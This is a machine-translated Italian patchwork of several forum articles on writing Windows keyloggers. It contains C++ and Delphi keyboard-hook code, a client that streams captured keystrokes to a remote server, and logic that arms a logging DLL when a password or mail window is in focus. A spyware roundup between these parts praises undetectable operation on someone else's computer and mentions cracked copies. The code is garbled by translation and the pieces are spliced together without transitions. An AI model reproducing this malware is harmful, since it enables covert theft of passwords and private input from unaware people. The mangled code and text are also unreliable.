C scrivi spia a p.              Laboratorio per la sicurezza dell'informazione

Ciao, residenti di Khabrovsk.

Ho deciso di scrivere un registratore di tastiera software in C++ utilizzando WinAPI. Non posso dire che stavo perseguendo una sorta di obiettivo di spionaggio quando l'ho scritto, piuttosto, stavo facendo conoscenza con gli hook WinAPI; Dato che le cose non sono poi così male e non c'è nessun articolo su Habré sui software logger, ho deciso di scriverne uno mio.

Come si fa?

Un gancio per tastiera veniva utilizzato per catturare la pressione dei tasti.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Per intercettare tutti i tasti premuti sulla tastiera, è conveniente specificare WH_KEYBOARD o WH_KEYBOARD_LL come parametro idHook. L'unica differenza è che WH_KEYBOARD_LL intercetta anche la pressione dei tasti di sistema (ad esempio Alt o qualsiasi tasto mentre Alt è tenuto premuto), quindi lo selezioneremo.

Lpfn è un puntatore a una funzione che elabora i messaggi intercettati (nel nostro caso, sequenze di tasti).
hMod è un handle di istanza dell'applicazione contenente una funzione di elaborazione.
dwThreadId è l'identificatore del thread di cui vogliamo intercettare i messaggi. Questo parametro deve essere impostato su 0 per intercettare i messaggi da tutti i thread.

Il valore restituito è un handle per il nostro hook, che dovrà essere liberato con la funzione UnhookWindowsHookEx all'uscita.
Cercando aiuto in MSDN, vediamo un prototipo della funzione che elabora i messaggi da questo hook.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode deve essere uguale a HC_ACTION, altrimenti il ​​messaggio viene passato a un altro processo.
wParam è uno dei seguenti valori: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN o WM_SYSKEYUP.
lParam è un puntatore alla struttura KBDLLHOOKSTRUCT, nei cui campi siamo interessati solo a 2 parametri: vkCode (codice virtuale) e scanCode del tasto premuto.
Questa funzione deve restituire il valore della funzione CallNextHookEx, altrimenti l'hook successivo che elabora l'evento potrebbe ricevere parametri di messaggio errati.
Ogni volta che verrà premuto un tasto, il nostro programma intercetterà questo evento e lo elaborerà con la nostra procedura LowLevelKeyboardProc.

Per ritradurre il codice virtuale e di scansione di una chiave in forma simbolica, abbiamo bisogno della funzione ToAsciiEx.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

I primi 2 parametri sono rispettivamente il codice virtuale e quello di scansione della chiave.
lpKeyState: stato della tastiera, controlla quali tasti sono premuti/attivi.
lpChar è un puntatore ad una doppia parola nella quale la funzione scriverà la rappresentazione simbolica della chiave.
uFlags è un parametro che indica l'attività del menu.
dwhkl: identificatore del layout della tastiera.
Il valore restituito è il numero di caratteri scritti nel buffer lpChar. Siamo interessati al caso in cui viene scritto 1 carattere.
Fondamentalmente, queste sono le 3 funzioni principali richieste per il più semplice registratore di tastiera.

Un po' di programma

Il programma viene compilato senza RTL in Studio visivo 2013. Pertanto, otteniamo una dimensione ridotta del file eseguibile e l'impossibilità di compilare la versione di debug. I dati vengono scritti in un file di registro nella stessa directory in cui si trova il file .exe. Per comodità, il logger crea ogni volta nuovo file durante la registrazione, registra l'ora in cui sono stati premuti i tasti, il nome della finestra in cui sono stati immessi i caratteri e si interrompe premendo LSHIFT+RSHIFT. Questo sniffer non è adatto per una tastiera completa; alcuni tasti di servizio, come F13 o NUM_LOCK, possono essere scritti come . Penso che chi ha almeno un po' di familiarità con C/C++ possa aggiungerli facilmente. Inoltre, puoi modificare completamente il codice in base alle tue esigenze.

Sono necessari vari programmi spia in condizioni in cui molte persone hanno accesso a un computer.

In queste condizioni, l'utente può voler sapere quali siti sono stati visitati dal suo computer (ad esempio da bambini), se si sono verificati furti da carte di credito utilizzando password salvate, ecc. per chiarire questi problemi di cui avrai bisogno.

La nostra recensione ti permetterà di fare la scelta migliore.

Caratteristiche di scelta

Cos'è esattamente un keylogger? Questo è un programma che, in senso stretto, non è direttamente correlato alla tastiera.

È installato nella memoria del computer e agisce su. Spesso i segni della sua attività non sono visibili sul computer a meno che non li cerchi specificatamente.

Tale programma interagisce indirettamente con la tastiera, ovvero funziona con un programma sul PC che converte in testo i segnali ricevuti dal processore a seguito della pressione dei pulsanti durante la stampa.

Cioè, l'azione di tale software è finalizzata alla raccolta delle informazioni immesse tramite la tastiera.

Esistono tali utilità tipi diversi– con l'aiuto di alcuni puoi visualizzare tutto il testo digitato dalla tastiera, con altri – solo quello che è stato digitato nel browser o in qualsiasi applicazione selezionata.

Alcuni programmi offrono la possibilità di configurare tali indicatori, altri no.

Differiscono anche nel grado di segretezza. Ad esempio, l'attività di alcuni è evidente, sul desktop rimane un collegamento, ecc., Ad esempio i programmi sono adatti per monitorare le attività, ad esempio, dei bambini.

Le tracce della presenza e dell'attività degli altri non sono affatto evidenti: agiscono in modo nascosto e sono adatte per l'installazione sul computer di qualcun altro, quando il fatto dell'installazione deve essere nascosto a un utente di terze parti.

Data questa diversità, scegliere il software più adatto può essere piuttosto difficile.

Questo materiale presenta il TOP dei migliori programmi che possono essere utilizzati per questo scopo. È più facile scegliere quello giusto tra loro.

Specifiche

Per semplificare il processo di selezione Software La tabella seguente mostra le principali caratteristiche comparative di tutti i programmi inclusi nel TOP.

Nome	Tipo di licenza	Tipo di informazioni raccolte	Funzionale	Progetto
SC-KeyLog	Gratuito	Tutto	Largo	Semplificato
WideStep pratico registratore di tasti	Gratuito/a pagamento	Tutto	Largo	Migliorato
Vera spia	Pagato	Tutto	Molto ampio	Standard
EliteKeylogger	Pagato	Tutto	Largo	Standard
Il ratto!	Gratuito/a pagamento	Meno del precedente	Abbastanza ampio	Antiestetico
SPYGO	Gratuito	A seconda della versione	A seconda della versione	Aspetto standard di Windows
Ardamax Keylogger 2.9	Gratuito	Dalla tastiera	Ristretto	Semplificato
Monitor personale NS Keylogger 3.8	Gratuito	Tutto	Ristretto	Semplificato
Spia del KGB	Pagato	Dalla tastiera + programmi aperti	Stretto	Semplice
Registratore di tasti dorato 1.32	Gratuito	Dalla tastiera	Molto stretto	Semplice

In base alle caratteristiche di questa tabella è facile scegliere il programma più adatto alle proprie esigenze specifiche.

Queste utilità sono descritte più dettagliatamente di seguito.

SC-KeyLog

Questo è un programma di spionaggio voluminoso e funzionale distribuito gratuitamente.

Oltre a tenere traccia in modo specifico delle informazioni immesse dalla tastiera, è anche in grado di raccogliere indirizzi di siti visitati, password e finestre del browser aperte.

Fornisce informazioni complete su tutte le azioni eseguite sul computer. In questo caso il file generato potrà essere visualizzato in remoto da un altro dispositivo.

• Opportunità accesso remoto a un file da un altro dispositivo;
• Nessuna traccia di attività del programma sul computer con le impostazioni corrette;
• Varietà di dati raccolti: è possibile accedere alle informazioni su quasi tutte le azioni sul PC.

• Salva le password solo fino a NT0;
• Menu troppo semplice e design antiestetico;
• Un formato piuttosto scomodo per visualizzare il risultato.

Cosa dicono gli utenti che utilizzano attivamente questo software? “Assolutamente invisibile all’utente”, “I dati arrivano regolarmente via email”.

WideStep pratico registratore di tasti

Questa applicazione è distribuita gratuitamente. La versione completa a pagamento costa $ 35.

Un programma piuttosto interessante e funzionale che vale i soldi se sei disposto a pagarlo.

Caratteristica distintiva– la possibilità di inviare i dati registrati a una frequenza specificata. Per il resto funziona bene, spesso più stabile di altri programmi in questo elenco.

• Raccolta di vari tipi di informazioni;
• Completa invisibilità del lavoro sul computer dell'utente;
• Interfaccia e controlli semplici.

• Design migliore di programma precedente, ma ancora non all'altezza;
• Il formato di visualizzazione dei risultati è scomodo;
• La versione a pagamento è piuttosto costosa.

Le opinioni degli utenti su questo software sono le seguenti: “Programma comodo, semplice e funzionale. Abbastanza invisibile mentre si lavora."

Vera spia

Questo è un programma a pagamento funzionale e complesso che costa 600 rubli. Tuttavia, ha una versione demo gratuita.

Caratteristica di questo software– abilità in un dato periodo di tempo.

Ciò aiuta a risolvere il problema dell'immissione di una password/chiave grafica, che recentemente è diventato molto diffuso.

• Molti tipi di informazioni raccolte oltre alla possibilità di acquisire screenshot dallo schermo durante un periodo specificato;
• Un gran numero di altri funzioni aggiuntive e caratteristiche;
• Registra non solo le azioni, ma anche l'ora in cui sono state eseguite;
• Crittografa il registro generato.

• La durata del lavoro (raccolta delle informazioni) nella versione demo gratuita è di 40 minuti;
• Distribuzione a pagamento, anche se a un prezzo più o meno ragionevole;
• Il peso del programma è piuttosto grande.

Recensioni degli utenti su questa applicazione sono: “Il programma è eccellente. Bravi programmatori!”

EliteKeylogger

Programma a pagamento con un prezzo abbastanza alto– 69 dollari. Funziona in modo completamente invisibile su un PC in modalità di basso livello, rendendolo quasi completamente invisibile.

Funzionalità interessante e conveniente– avvio automatico del software, che avviene contemporaneamente all'avvio del sistema stesso.

È difficile da rilevare o non rilevare affatto anche da speciali anti-keylogger.

• Azione completamente nascosta e difficile da individuare;
• Formato operativo di tipo driver di basso livello e avvio automatico all'avvio del sistema;
• Tiene traccia anche della pressione non solo dei tasti principali, ma anche di quelli di servizio sulla tastiera.

• Abbastanza un sistema complesso installare il programma su un PC;
• Il programma è costoso, ma puoi trovarne una vecchia versione compromessa su Internet russo;
• Un sistema piuttosto complesso di impostazioni dei singoli programmi, che però si giustifica.

Cosa dicono gli utenti di questo software? " Buon programma", "Un po' meno di Jetlogger."

Il ratto!

Un'utilità funzionale piuttosto comune e popolare con una licenza a pagamento.

Tuttavia, per uso privato, viene fornita una versione demo gratuita per un periodo limitato.

Il programma è molto semplice– qualsiasi utente avanzato può scrivere lo stesso. Tuttavia, è completamente non rilevabile dagli antivirus e programmi speciali, rilevando tale software.

• Semplicità, funzionalità ed elevata stabilità;
• Peso minimo del file e spazio da esso occupato sul computer;
• Molte impostazioni.

• Un design piuttosto sgradevole, realizzato in nero, bianco e rosso;
• La funzionalità è un po' più limitata rispetto ai programmi descritti in precedenza;
• Visualizzazione scomoda del log e interfaccia e utilizzo generalmente scomodi.

Gli utenti dicono quanto segue su questo programma: "Funziona stabilmente, ma è un po' semplice", "Il programma è buono, ti permette di raccogliere dati inosservati".

SPYGO

Questo è un keylogger fondamentalmente nuovo, progettato per funzionare e sviluppato da un programmatore russo.

E prima di iniziare a leggere, dai un'occhiata al mio blog, dove pubblico i miei articoli originali su programmazione, virologia e altre cose interessanti
Articolo originale -

Tutte le informazioni sono fornite solo a scopo informativo. Né l'amministrazione né l'autore sono responsabili per eventuali danni causati dai materiali di questo articolo.

​Prefazione
Per circa un mese ho osservato costantemente varie richieste e domande sui keylogger. Molti hanno cercato, ma non sono riusciti a trovare il codice sorgente, molti hanno cercato, ma gli addetti alle vendite non sono riusciti a trovarlo, ecc.

In questo articolo voglio mostrare quanto sia facile scrivere il proprio keylogger con funzionalità di base. Ho preso in prestito la base da qui - * * , corretto bug e modificato per interagire con WinSocket.

Materiali

• Aggiornamento della community di Visual Studio 2015 4
• Visual C++ 2015

Struttura dell'applicazione
Innanzitutto, devi determinare come funzionerà il keylogger in generale. Che si tratti di inviare log a FTP/Mail, registrare clic su un socket, inviare un file a un gate, scrivere log su un database.
Ho deciso di restare con le prese. Perché? È conveniente, semplice e utilizzabile.
In base alla scelta dovremo fare 2 richieste:
server

• Applicazione console che riceverà i dati dal client e li visualizzerà nella console

Cliente

• In realtà, il keylogger stesso, che invierà le sequenze di tasti al server

E inizieremo, forse, con il server.

server
Creare un'applicazione console C++ in Visual Studio.
Tutto il codice è in ufficio. Esempio MSDN - *Accedi al forum per visualizzare i link. *
Dobbiamo solo sostituire alcuni valori al suo interno...
Annotiamo subito le variabili costanti: la dimensione del buffer e la porta del server a cui verranno inviati i log

Codice:

#define DEFAULT_BUFLEN 1024 //Buffer #define DEFAULT_PORT "1337" //Porta

Invece di un do/ while una tantum, impostiamo un ciclo infinito in cui riceveremo i dati dal client, li invieremo alla console, chiuderemo la connessione e lo faremo di nuovo:

Codice:

Do ( ClientSocket = accetta(ListenSocket, NULL, NULL); // Accetta la connessione iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // Leggi il log se (iResult > 0) // Se il log non è vuoto printf("% s", recvbuf); //Output closesocket(ClientSocket);//Chiude la connessione memset(recvbuf, 0, sizeof recvbuf);//Rilascia memoria ) while (true);

Compiliamo su Release, lo carichiamo su Dedik, apriamo la porta di cui abbiamo bisogno e lanciamo

Cliente

Creare un'applicazione Win32 in Visual Studio.
Come ho detto sopra, ho preso il gancio della tastiera e il gestore dei clic da *Accedi al forum per visualizzare i link. *
Per garantire l'invio dei clic al socket, mi sono rivolto a *Accedi al forum per visualizzare i link. *
Inoltre, definiamo immediatamente le variabili costanti: lunghezza del buffer, IP Dedik/computer e porta

Codice:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Alcune variabili dovevano essere rimosse dai loro metodi e rese globali affinché il codice iniziasse a funzionare correttamente:

Codice:

WSADATA wsaData; PRESA ConnectSocket = PRESA_INVALIDA; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char ultima finestra; int Save(int key_stroke);// Rimosso il secondo argomento

Creiamo un metodo per inviare dati al server seguendo l'esempio all'inizio del paragrafo. Successivamente, ovunque sostituiamo la porta, l'IP e le informazioni trasmesse con argomenti di funzione:

Codice:

Void sendData(char *ip, char * porta, char*data)

Nel metodo Save, facciamo quanto segue: rimuoviamo il secondo argomento e modifichiamo la registrazione dei log in un file da inviare al server:

Codice:

Dati caratteri; sprintf(dati, "\n\n\n", titolo_finestra, s); sendData(SERVER_IP, SERVER_PORT, dati);

Successivamente, utilizzando lo stesso principio, modifichiamo l'invio delle sequenze di tasti del servizio. Puoi inviare lettere in questo modo:

Codice:

Caratteri c; sprintf(c, "%c", key_stroke); sendData(IP_SERVER, PORTA_SERVER, c);

Eliminiamo dal codice tutto ciò che riguarda la visibilità della finestra e il gioco è fatto.

Linea di fondo
Quando il keylogger viene avviato, si bloccherà nei processi ed elaborerà ogni sequenza di tasti. È possibile che alcuni caratteri vengano visualizzati in modo errato, ad esempio le barre, ma tutto ciò può essere corretto da solo (dopo tutto, se tutto fosse perfetto, Gesù busserebbe al mio PM chiedendomi di controllare il venditore del keylogger privato).

Informazioni sulla scrittura di keylogger
è stato detto già molte volte, ma tutte
hanno un grosso inconveniente: di regola,
sono richieste conoscenze molto limitate
informazioni, anziché scrivere tutto in un file di registro,
ciò che l'utente scrive sulla tastiera è improbabile per te
darà molto cibo per i registri dei pensieri
premendo i pulsanti durante la riproduzione di CS 😉

Ne consegue che la spia deve esserlo
avanzato e non scrivere stupidamente tutto ciò
gli danno :) Anche nominare un programma del genere
una spia non gira la lingua, è quasi
agente elettronico 007:-))) Modi per
in modo che il programma scriva nel log di interesse
Abbiamo molto materiale. Più semplice -
controllare le finestre attive, ad es. in quale
i pulsanti sono bloccati in questo momento :) Come stai?
Penso che, sai, le spie di solito consistono in
file eseguibile e DLL. Ciò è dovuto al fatto
cosa intercettare i messaggi su window
devi creare un nuovo PROCESSO e molto altro ancora
Un modo conveniente per farlo è utilizzare una dll.
Pertanto, per attivare
in realtà il logger stesso, ti servirà in quello giusto
momento per caricare la DLL e quando la finestra è attiva
cambia in qualcos'altro: scaricalo dalla memoria.

Diamo un'occhiata alle funzioni di lavorare con le DLL nel linguaggio visivo
C++. La DLL viene caricata in memoria
funzione hINSTAGE=LoadLibrary("nome.dll"), dove hINSTAGE -
come un descrittore di una DLL caricata in memoria,
name.dll: nome della libreria. Per scaricarlo,
c'è una funzione FreeLibrary(hINSTAGE);

Ora su come possiamo ottenere le cose di cui abbiamo bisogno
applicazioni. Ad esempio, sappiamo che user
legge la posta attraverso il sito web www.mail.ru, quindi puoi
configurare l'agente in modo che intercetti
sequenze di tasti quando l'utente va a questo
sito web. (Va ricordato che in alcuni
Non esistono app spia per tastiera
può funzionare, ad esempio, nella barra degli indirizzi
Internet Explorer"a - questo porta al "crash
completamento dei programmi" - da cos'altro vieni
Cercasi Windows :))) Per questo metodo è abbastanza
è adatta anche la lettura delle password dal dialer
- se l'utente soffre di paranoia e ogni volta
entra nel login e passa manualmente :) O davvero
è interessante sapere cosa scrive in Outlook o
in un blocco note. Ecco la parte del codice che lo fa
confronto dei titoli delle finestre con quelli di cui abbiamo bisogno.

HINSTAGE hINSTAGE;

mentre (1)
{
//Avvia il ciclo.

int sl,ll;
ll=1;
sl=2;
//variabili per
contatoreUN.
salmerino;
HWND hw;
//Andiamo con quello più semplice
confrontando le stringhe carattere per carattere:
il titolo della finestra risultante e con quello di cui abbiamo bisogno
linea.

mentre (ll!=sl)
{

hw=GetForegroundWindow();
OttieniTesto Finestra(hw,st,128); // Leggere

char stt="_Qui scriviamo il titolo del desiderato
finestre per noi_№1";

sl=strlen(stt);
ll=0;
mentre (stt==st)
//confrontare
riga per carattere
//è più conveniente farlo dalla posizione che sarà
controlla se quello richiesto è incluso
//possiamo usare la stringa come parte di un'altra stringa, tu puoi
crea qualcosa come //un filtro ampio.
{
ll++;
}

se (ll==sl) ( //se stringhe
corrisponde fino alla fine della prima riga -
fermare; //interrompe il processo
}
// e così via - if
è necessario verificare la presenza di più finestre.
char stt="_Qui scriviamo il titolo del desiderato
finestre per noi_No.2";
sl=strlen(stt);
ll=0;
mentre (stt==st)
{
ll++;
}

se (ll==sl) (
fermare; //interrompe il processo
}

Invece di un controllo sequenziale, puoi
fare parallelo se confrontato in
un ciclo di elementi di riga, se almeno uno
corrispondenze: la spia DLL viene attivata.

hINSTAGE=CaricaLibreria("chiave1.dll");

Ora dobbiamo controllare continuamente
se questa finestra rimane attiva.

mentre (ll==sl) //Ciao
le linee corrispondono: giriamo sul posto
{
hw=GetForegroundWindow();
OttieniTesto Finestra(hw,st,128);// Leggere
la finestra attualmente attiva.
ll=0;
mentre (stt==st)
{
ll++;
}
}

L'uscita dal ciclo indica che è attivo
la finestra è cambiata, quindi scarichiamo lo "spyware"
libreria e il ciclo inizia dall'inizio, ovvero
il programma attende nuovamente uno dei
le finestre richieste.

Libreria libera(hINSTAGE);

Tuttavia, anche il metodo sopra ha
Svantaggi: deve essere controllato ogni volta
da un intero elenco di finestre è quello che ti serve?
noi attivi in ​​questo momento. Ecco perché
puoi usare un algoritmo diverso: non controllare
titolo della finestra e guarda se in this
elementi finestra di tipo EditBox Di norma,
le password sono scritte lì :) Per questo ci sarà
guarda gli elementi di questa finestra - e se
tra questi c'è Modifica - quindi carichiamo la DLL.

carattere p2,p3; //array
caratteri per i titoli delle finestre.

Ancora una volta, controlliamo tutte le finestre in un ciclo:

while (p3!="Modifica") //Ciao
Non abbiamo trovato una finestra con una casella di modifica: esegui un ciclo
{

hw=GetForegroundWindow();

HWND hwnd_child; //variabile
elemento finestra

hwnd_child = GetWindow(hw,GW_CHILD);
OttieniNomeClasse(hwnd_child,p3,128);
se (p3!="Modifica")
//se il primo lo è
ho trovato gli elementi della finestra - non EditBox - quindi
guardando oltre
{
mentre (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

OttieniNomeClasse(hwnd_child,p3,128);
se (p3=="Modifica")
{
fermare;
}
}
}
}

Ora parliamo della DLL spia stessa.
È meglio scriverlo in Delphi, perché questo
il discendente maturo di Pascal non ne ha
abitudine perversa "sipipish".
pignoleria sui tipi di dati. Creare
selezionare la libreria File-Nuovo-Libreria collegamento diretto - e
il modello per la DLL è pronto. Ed ecco il codice stesso:

chiave della libreria1;
utilizza Windows;

var
KGancio: HGANCIO; //variabile per
"trappole"

funzione KProc(Codice: intero; wParam: Parola; lParam: LongInt): LongInt; chiamata standard;
cost
KState: intero = 1073741824; //codice
"tasto premuto"

var
Simv: stringa corta;
KL: array di Char; //Per
controllando il layout della tastiera
FStruct: TOFSTRUCT;
F:File di testo;//variabile
file per la registrazione del registro.

inizio

// elimina quelli non necessari
messaggi
se (lParam e KState)<>0 allora
inizio

Uscita;
FINE;

AssegnaFile(F, "keylog.txt");

// provo ad aprire
file "keylog.txt":
se OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR allora
inizio
Riscrivi(F);// se il file non lo è
creato: creiamo.
FINE
elseAppend(F);
//se c'è, scrivi a
FINE.

Simv:=chr(0); //ripristina a zero
variabile del simbolo letto da tastiera.

// analizza il codice
tasto premuto
caso wParam di
// numeri
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189.109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
FINE;

OttieniNomeLayoutTastiera(KL); //
controllando la disposizione
se KL = "00000409" allora // Se
Latino:
inizio
caso wParam di
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
FINE;
FINE;
FINE;
se KL = "00000419" allora// Se
russo
inizio
caso wParam di
219: Simv:="X";
221: Simv:="Ú";
186: Simv:="F";
222: Simv:="E";
188: Simv:="B";
190: Simv:="Yu";
191: Simv:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="N";
90: Simv:="Io";
FINE;

//se il simbolo non è vuoto (es.
se è stato premuto un tasto alfanumerico)
//poi lo scrivo in un file
se Simv<>"" Poi
Scrivi(F, Simv);
//chiude il file
ChiudiFile(F);

// invia il messaggio
altre trappole nel sistema
Risultato:=CallNextHookEx(KHook, codice, wParam, lParam);
FINE;

inizio
//Imposta la trappola
per intercettare i messaggi della tastiera.
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Questo programma può anche essere semplificato
a seconda dell'applicazione - se
diciamo che devi contare solo una volta
password dal dialer - quindi puoi impostarla
controllando le finestre finché non ne abbiamo bisogno e quando lo è
diventerà attivo: carica la libreria
key1.dll, attendere un certo tempo
in cui l'utente avrà il tempo di digitare questi caratteri
tastiera, quindi scaricare la libreria e
terminare il programma. Qualcosa come questo :)

hINSTAGE=CaricaLibreria("chiave1.dll");
Sonno(10000);
//attendi 10 secondi per questo
momento in cui l'utente digiterà la password.
//il tempo può essere aumentato a seconda
a seconda del livello di inibizione dell'utente
// e la sua velocità di digitazione sulla tastiera :)
Libreria libera(hINSTAGE);

PS: è stato fornito tutto il materiale di cui sopra
esclusivamente con demo e
obiettivi educativi generali stabiliti dall'autore
Ho un compito da dimostrare
algoritmo di programma del tipo "aggiornato".
keylogger" e tutto il resto
responsabilità per l'uso di questo
il materiale ti cade addosso (travolgente
onere 🙂) L'implementazione del codice contiene
piccole imprecisioni che in realtà non nuocciono
algoritmo: prova a trovarli tu stesso)).

PSS: Naturalmente, un keylogger non solo può
svolgere la sua funzione principale -
in realtà scrivi le pressioni dei pulsanti nel registro, ma anche
modificare i valori dei tasti premuti in base alle proprie esigenze
gusto - ma come farlo e a cosa serve
potrebbe semplicemente essere vitale - in
la prossima volta :)